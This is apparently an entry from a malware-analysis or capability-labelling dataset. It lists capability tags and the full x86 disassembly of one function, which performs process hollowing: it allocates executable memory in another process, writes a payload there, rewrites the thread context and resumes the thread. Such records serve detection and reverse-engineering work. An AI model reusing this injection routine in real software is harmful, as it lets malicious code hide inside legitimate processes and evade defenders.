Function at 0x401780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2e8
mov ecx, dword [esp + 0x2ec]
push ebx
push esi
mov esi, dword [esp + 0x2f8]
push edi
mov edi, dword [esp + 0x308]
mov eax, dword [esi + 0x34]
push edi
push eax
push ecx
mov dword [esp + 0x18], 0xffffffff
call fcn.00401530
mov ebx, eax
add esp, 0xc
test ebx, ebx
mov dword [esp + 0x1c], ebx
jne 0x4017cc
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
add esp, 0x2e8
ret
mov ecx, dword [esp + 0x30c]
lea edx, [esp + 0x24]
push ebp
lea eax, [esp + 0x1c]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x3c]
push eax
push ecx
push ebx
call fcn.00401690
add esp, 0x1c
test eax, eax
je 0x4019b5
mov eax, dword [esp + 0x1c]
mov ecx, dword [esi + 0x34]
mov ebp, dword [esp + 0x308]
cmp ecx, eax
mov dword [esp + 0x14], 0
jne 0x40183b
mov ecx, dword [esp + 0x28]
cmp ecx, edi
jb 0x40183b
lea edx, [esp + 0x24]
mov dword [esp + 0x14], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x4018b6
call fcn.00401500
test eax, eax
je 0x4018b6
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
push ecx
push edx
call fcn.00401640
add esp, 8
test eax, eax
je 0x401875
mov eax, dword [esi + 0x34]
mov ecx, dword [esp + 0x10]
push 0x40
push 0x3000
push edi
push eax
push ecx
call dword [0x408530]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x4018c2
push esi
call fcn.004015d0
add esp, 4
test eax, eax
je 0x4018b6
mov edx, dword [esp + 0x10]
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [0x408530]
test eax, eax
mov dword [esp + 0x14], eax
je 0x40198c
push eax
push ebp
push esi
call fcn.00401600
add esp, 0xc
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40198c
mov edx, dword [esp + 0xd0]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x24]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push 4
add edx, 8
push ecx
push edx
push eax
call ebx
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x24]
mov dword [esi + 0x34], eax
push ecx
push edi
push ebp
push eax
push edx
call ebx
test eax, eax
je 0x40195d
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
cmp eax, ecx
mov dword [esp + 0x2c], 0x10007
jne 0x401925
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x34]
add eax, ecx
mov dword [esp + 0xdc], eax
jmp 0x401931
mov ecx, dword [esi + 0x28]
add ecx, eax
mov dword [esp + 0xdc], ecx
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x2c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x20]
jmp 0x4019b5
mov eax, dword [esp + 0x10]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
mov ebx, dword [esp + 0x20]
mov dword [esp + 0x10], 0xffffffff
jmp 0x4019b5
mov eax, dword [esp + 0x10]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
mov dword [esp + 0x10], 0xffffffff
push ebx
call fcn.00401eb3
mov eax, dword [esp + 0x14]
add esp, 4
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x2e8
ret